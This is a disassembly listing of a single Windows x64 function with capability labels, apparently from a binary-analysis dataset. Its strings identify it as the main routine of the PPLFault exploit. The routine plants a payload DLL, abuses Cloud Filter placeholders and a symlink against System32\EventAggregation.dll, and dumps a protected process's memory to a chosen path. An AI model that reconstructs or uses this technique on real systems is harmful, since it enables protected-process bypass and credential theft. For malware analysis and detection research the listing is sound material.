Function at 0x14001104b
Capabilities:
Create directory
Delete file
Write file on windows

Disassembly:
jmp 0x140018ae0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x9e0
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xa08]
mov rax, qword [0x14002e248]
xor rax, rbp
mov qword [rbp + 0x990], rax
lea rcx, [0x1400340e3]
call fcn.140011857
mov dword [rbp + 4], 1
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 0
mov dword [rbp + 0x84], 0
lea rax, [rbp + 0xa8]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xe8], 0
lea rcx, [rbp + 0x108]
call fcn.14001168b
nop
lea rcx, [rbp + 0x148]
call fcn.140011843
nop
cmp dword [rbp + 0x9c0], 2
jl 0x140018bed
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x9c8]
mov rdx, qword [rcx + rax]
lea rcx, [0x140028dbc]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x140018bed
xor ecx, ecx
call fcn.1400112b2
mov eax, dword [rbp + 0x9c0]
dec eax
mov dword [rbp + 0x9c0], eax
mov rax, qword [rbp + 0x9c8]
add rax, 8
mov qword [rbp + 0x9c8], rax
cmp dword [rbp + 0x9c0], 3
jge 0x140018c44
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x9c8]
mov rdx, qword [rcx + rax]
lea rcx, str.Usage:__ws___v___PID___Dump_Path__n
call fcn.1400113f2
mov dword [rbp + 0x6c4], 1
lea rcx, [rbp + 0x148]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x108]
call fcn.140011749
mov eax, dword [rbp + 0x6c4]
jmp 0x140019747
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x9c8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll__wtoi]
mov dword [rbp + 0x24], eax
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rbp + 0x9c8]
mov rdx, qword [rcx + rax]
lea rcx, [rbp + 0x108]
call fcn.140011230
mov ecx, dword [rbp + 0x24]
call fcn.140011901
movzx eax, al
test eax, eax
jne 0x140018cd3
mov r8d, dword [rbp + 0x24]
lea rdx, str.This_doesnt_appear_to_be_a_valid_PID:__u
mov ecx, 3
call fcn.1400113c0
mov dword [rbp + 0x6e4], 1
lea rcx, [rbp + 0x148]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x108]
call fcn.140011749
mov eax, dword [rbp + 0x6e4]
jmp 0x140019747
call fcn.1400116ea
xor edx, edx
lea rcx, str.C:jockerbla_
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 5
mov edx, 0x80000000
lea rcx, str.C:WindowsSystem32EventAggregation.dll
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x14002e6c0], rax
cmp qword [0x14002e6c0], 0xffffffffffffffff
jne 0x140018d7b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r9, str.C:WindowsSystem32EventAggregation.dll
mov r8d, eax
lea rdx, str.Failed_to_open_file_with_GLE__u:__ws
mov ecx, 3
call fcn.1400113c0
mov dword [rbp + 0x704], 1
lea rcx, [rbp + 0x148]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x108]
call fcn.140011749
mov eax, dword [rbp + 0x704]
jmp 0x140019747
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x4000080
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, str.C:jockerblaPPLFaultPayload.dll
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x14002e6c8], rax
cmp qword [0x14002e6c8], 0xffffffffffffffff
jne 0x140018e0c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r9, str.C:jockerblaPPLFaultPayload.dll
mov r8d, eax
lea rdx, str.Failed_to_open_file_with_GLE__u:__ws
mov ecx, 3
call fcn.1400113c0
mov dword [rbp + 0x724], 1
lea rcx, [rbp + 0x148]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x108]
call fcn.140011749
mov eax, dword [rbp + 0x724]
jmp 0x140019747
mov rax, qword [0x14002e6c0]
mov qword [0x14002e6d0], rax
lea rcx, [rbp + 0x108]
call fcn.1400112da
mov r9, rax
mov r8d, dword [rbp + 0x24]
lea rdx, [rbp + 0x148]
mov rcx, qword [0x14002e6c0]
call fcn.140011456
movzx eax, al
test eax, eax
jne 0x140018e86
lea rdx, str.Failed_to_build_payload
mov ecx, 3
call fcn.1400113c0
mov dword [rbp + 0x744], 1
lea rcx, [rbp + 0x148]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x108]
call fcn.140011749
mov eax, dword [rbp + 0x744]
jmp 0x140019747
lea rcx, [rbp + 0x148]
call fcn.140011609
mov qword [rbp + 0x988], rax
lea rcx, [rbp + 0x148]
call fcn.140011398
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x44]
mov rcx, qword [rbp + 0x988]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [0x14002e6c8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140018ef2
mov eax, dword [rbp + 0x44]
mov qword [rbp + 0x988], rax
lea rcx, [rbp + 0x148]
call fcn.140011609
mov rcx, qword [rbp + 0x988]
cmp rcx, rax
je 0x140018f41
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r9, str.C:jockerblaPPLFaultPayload.dll
mov r8d, eax
lea rdx, str.Failed_to_write_payload_file_with_GLE__u:__ws
mov ecx, 3
call fcn.1400113c0
mov dword [rbp + 0x764], 1
lea rcx, [rbp + 0x148]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x108]
call fcn.140011749
mov eax, dword [rbp + 0x764]
jmp 0x140019747
lea rax, [rbp + 0x190]
mov rdi, rax
xor eax, eax
mov ecx, 0x48
rep stosb byte [rdi], al
mov dword [rbp + 0x190], 0x48
lea rax, str.CloudTest
mov qword [rbp + 0x198], rax
lea rax, [0x140027b50]
mov qword [rbp + 0x1a0], rax
mov dword [rbp + 0x788], 0x119c6523
mov eax, 0x407b
mov word [rbp + 0x78c], ax
mov eax, 0x446b
mov word [rbp + 0x78e], ax
mov byte [rbp + 0x790], 0xb0
mov byte [rbp + 0x791], 0xe3
mov byte [rbp + 0x792], 0xe0
mov byte [rbp + 0x793], 0x30
mov byte [rbp + 0x794], 0x11
mov byte [rbp + 0x795], 0x17
mov byte [rbp + 0x796], 0x8f
mov byte [rbp + 0x797], 0x50
lea rax, [rbp + 0x1c4]
lea rcx, [rbp + 0x788]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1f8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rbp + 0x1fc]
call fcn.1400112a3
lea rcx, [rbp + 0x1fe]
call fcn.140011064
lea rcx, [rbp + 0x200]
call fcn.1400115ff
lea rcx, [rbp + 0x202]
call fcn.1400115e1
lea rax, [rbp + 0x204]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov dword [rbp + 0x1f8], 0x18
mov dword [rbp + 0x208], 1
xor edx, edx
lea rcx, [rbp + 0x7b4]
call fcn.1400118d4
movzx eax, word [rbp + 0x7b4]
mov word [rbp + 0x1fc], ax
xor edx, edx
lea rcx, [rbp + 0x7d4]
call fcn.140011811
movzx eax, word [rbp + 0x7d4]
mov word [rbp + 0x1fe], ax
mov dword [rbp + 0x204], 0
mov dword [rbp + 0x20c], 0
xor edx, edx
lea rcx, [rbp + 0x7f4]
call fcn.14001151e
movzx eax, word [rbp + 0x7f4]
mov word [rbp + 0x200], ax
mov r9d, 2
lea r8, [rbp + 0x1f8]
lea rdx, [rbp + 0x190]
lea rcx, str.C:jockerbla_
call fcn.140011217
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jge 0x14001913f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8d, dword [rbp + 0x84]
lea rdx, str.CfRegisterSyncRoot_failed_with_HR_0x_08x_GLE__u
mov ecx, 3
call fcn.1400113c0
mov dword [rbp + 0x814], 1
lea rcx, [rbp + 0x148]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x108]
call fcn.140011749
mov eax, dword [rbp + 0x814]
jmp 0x140019747
lea rax, [rbp + 0x228]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov eax, 0x10
imul rax, rax, 0
lea rcx, [0x14001110e]
mov qword [rbp + rax + 0x230], rcx
mov eax, 0x10
imul rax, rax, 0
mov dword [rbp + rax + 0x228], 0
mov eax, 0x10
imul rax, rax, 1
mov dword [rbp + rax + 0x228], 0xffffffff
lea rax, [0x14002e690]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x228]
lea rcx, str.C:jockerbla_
call fcn.1400115d7
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jge 0x140019221
lea rcx, str.C:jockerbla_
call fcn.14001115e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8d, dword [rbp + 0x84]
lea rdx, str.CfConnectSyncRoot_failed_with_HR_0x_08x_GLE__u
mov ecx, 3
call fcn.1400113c0
mov dword [rbp + 0x834], 1
lea rcx, [rbp + 0x148]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x108]
call fcn.140011749
mov eax, dword [rbp + 0x834]
jmp 0x140019747
lea r8, [0x14002e698]
xor edx, edx
lea rcx, str.C:WindowsSystem32EventAggregation.dll
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
test eax, eax
jne 0x14001928a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8d, dword [rbp + 0x84]
lea rdx, str.GetFileAttributesExW_on_benign_file_failed_with_GLE__u
mov ecx, 3
call fcn.1400113c0
mov dword [rbp + 0x854], 1
lea rcx, [rbp + 0x148]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x108]
call fcn.140011749
mov eax, dword [rbp + 0x854]
jmp 0x140019747
lea rax, [rbp + 0x270]
mov rdi, rax
xor eax, eax
mov ecx, 0x58
rep stosb byte [rdi], al
mov eax, dword [0x14002e6b4]
mov dword [rbp + 0x2a4], eax
mov eax, dword [0x14002e6b8]
mov dword [rbp + 0x2a0], eax
mov eax, dword [0x14002e698]
mov dword [rbp + 0x298], eax
mov eax, dword [0x14002e69c]
mov dword [rbp + 0x278], eax
mov eax, dword [0x14002e6a0]
mov dword [rbp + 0x27c], eax
lea rax, str.EventAggregationPH.dll
mov qword [rbp + 0x270], rax
mov edx, 2
mov ecx, 4
call fcn.1400110f0
mov dword [rbp + 0x2b4], eax
mov dword [rbp + 0x2b0], 0x130
mov eax, dword [rbp + 0x2b0]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x2a8], rax
mov dword [rbp + 0x2e4], 0
lea rax, [rbp + 0x2e4]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8d, 1
lea rdx, [rbp + 0x270]
lea rcx, str.C:jockerbla_
call fcn.140011258
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jl 0x140019368
cmp dword [rbp + 0x2e4], 1
je 0x1400193c3
lea rcx, str.C:jockerbla_
call fcn.14001115e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8d, dword [rbp + 0x84]
lea rdx, str.CfCreatePlaceholders_failed_with_HR_0x_08x_GLE__u
mov ecx, 3
call fcn.1400113c0
mov dword [rbp + 0x874], 1
lea rcx, [rbp + 0x148]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x108]
call fcn.140011749
mov eax, dword [rbp + 0x874]
jmp 0x140019747
call fcn.1400111ef
movzx eax, al
test eax, eax
jne 0x14001940e
lea rdx, str.InstallSymlink_failed.__Aborting.
mov ecx, 3
call fcn.1400113c0
mov dword [rbp + 0x894], 1
lea rcx, [rbp + 0x148]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x108]
call fcn.140011749
mov eax, dword [rbp + 0x894]
jmp 0x140019747
lea r8, str.C:WindowsSystem32EventAggregation.dll.bak
lea rdx, str.Benign:__ws
xor ecx, ecx
call fcn.1400113c0
lea r8, str.C:jockerblaPPLFaultPayload.dll
lea rdx, str.Payload:__ws
xor ecx, ecx
call fcn.1400113c0
lea r8, str.C:jockerblaEventAggregationPH.dll
lea rdx, str.Placeholder:__ws
xor ecx, ecx
call fcn.1400113c0
call fcn.1400117a8
movzx eax, al
test eax, eax
jne 0x14001945e
jmp 0x1400196fe
lea rcx, [rbp + 0x108]
call fcn.1400112da
mov rdx, rax
lea rcx, [rbp + 0x8d8]
call fcn.1400112d0
nop
lea rcx, [rbp + 0x8d8]
call fcn.14001160e
mov byte [rbp + 0x8b4], al
lea rcx, [rbp + 0x8d8]
call fcn.140011749
movzx eax, byte [rbp + 0x8b4]
test eax, eax
je 0x140019503
lea rcx, [rbp + 0x108]
call fcn.1400112da
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x1400194de
lea rcx, [rbp + 0x108]
call fcn.1400112da
mov r8, rax
lea rdx, str.Removed_old_dump_file:__ws
mov ecx, 1
call fcn.1400113c0
jmp 0x140019503
lea rcx, [rbp + 0x108]
call fcn.1400112da
mov r8, rax
lea rdx, str.Failed_to_remove_old_dump_file:__ws
mov ecx, 3
call fcn.1400113c0
jmp 0x1400196fe
lea rdx, str.Ready.__Spawning_WinTcb.
mov ecx, 1
call fcn.1400113c0
call fcn.140011014
movzx eax, al
test eax, eax
jne 0x140019525
jmp 0x1400196fe
lea rcx, [rbp + 0x108]
call fcn.1400112da
mov rdx, rax
lea rcx, [rbp + 0x938]
call fcn.1400112d0
nop
lea rcx, [rbp + 0x938]
call fcn.14001160e
movzx eax, al
test eax, eax
jne 0x140019560
mov dword [rbp + 0x984], 1
jmp 0x14001956a
mov dword [rbp + 0x984], 0
movzx eax, byte [rbp + 0x984]
mov byte [rbp + 0x914], al
lea rcx, [rbp + 0x938]
call fcn.140011749
movzx eax, byte [rbp + 0x914]
test eax, eax
je 0x1400195b3
lea rcx, [rbp + 0x108]
call fcn.1400112da
mov r8, rax
lea rdx, str.Did_not_find_expected_dump_file:__ws
mov ecx, 3
call fcn.1400113c0
jmp 0x1400196fe
lea rax, [rbp + 0x308]
mov rdi, rax
xor eax, eax
mov ecx, 0x24
rep stosb byte [rdi], al
mov dword [rbp + 0x348], 0
lea rax, [rbp + 0x34c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rax, [rbp + 0x370]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
lea rcx, [rbp + 0x108]
call fcn.1400112da
lea r8, [rbp + 0x308]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
test eax, eax
jne 0x140019637
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.Failed_to_find_dump_file_attributes_with_GLE__u
mov ecx, 3
call fcn.1400113c0
jmp 0x1400196fe
mov eax, dword [rbp + 0x328]
mov dword [rbp + 0x348], eax
mov eax, dword [rbp + 0x324]
mov dword [rbp + 0x34c], eax
lea rcx, [rbp + 0x108]
call fcn.1400112da
mov r8, rax
lea rdx, str.Dump_saved_to:__ws
mov ecx, 1
call fcn.1400113c0
mov r8d, 0x20
lea rdx, [rbp + 0x370]
mov rcx, qword [rbp + 0x348]
call qword [sym.imp.SHLWAPI.dll_StrFormatByteSizeW]
test rax, rax
jne 0x1400196aa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.StrFormatByteSizeW_failed_with_GLE__u
mov ecx, 2
call fcn.1400113c0
jmp 0x1400196c2
lea r8, [rbp + 0x370]
lea rdx, str.Dump_is__ws
mov ecx, 1
call fcn.1400113c0
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xe8]
sub rcx, rax
mov rax, rcx
mov r8, rax
lea rdx, str.Operation_took__u_ms
mov ecx, 1
call fcn.1400113c0
mov dword [rbp + 4], 0
call fcn.14001102d
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:jockerbla_
call fcn.14001115e
call fcn.1400116ea
mov eax, dword [rbp + 4]
mov dword [rbp + 0x974], eax
lea rcx, [rbp + 0x148]
call fcn.1400111a9
nop
lea rcx, [rbp + 0x108]
call fcn.140011749
mov eax, dword [rbp + 0x974]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140028030]
call fcn.1400116f9
mov rax, rdi
mov rcx, qword [rbp + 0x990]
xor rcx, rbp
call fcn.140011415
lea rsp, [rbp + 0x9a0]
pop rdi
pop rsi
pop rbp
ret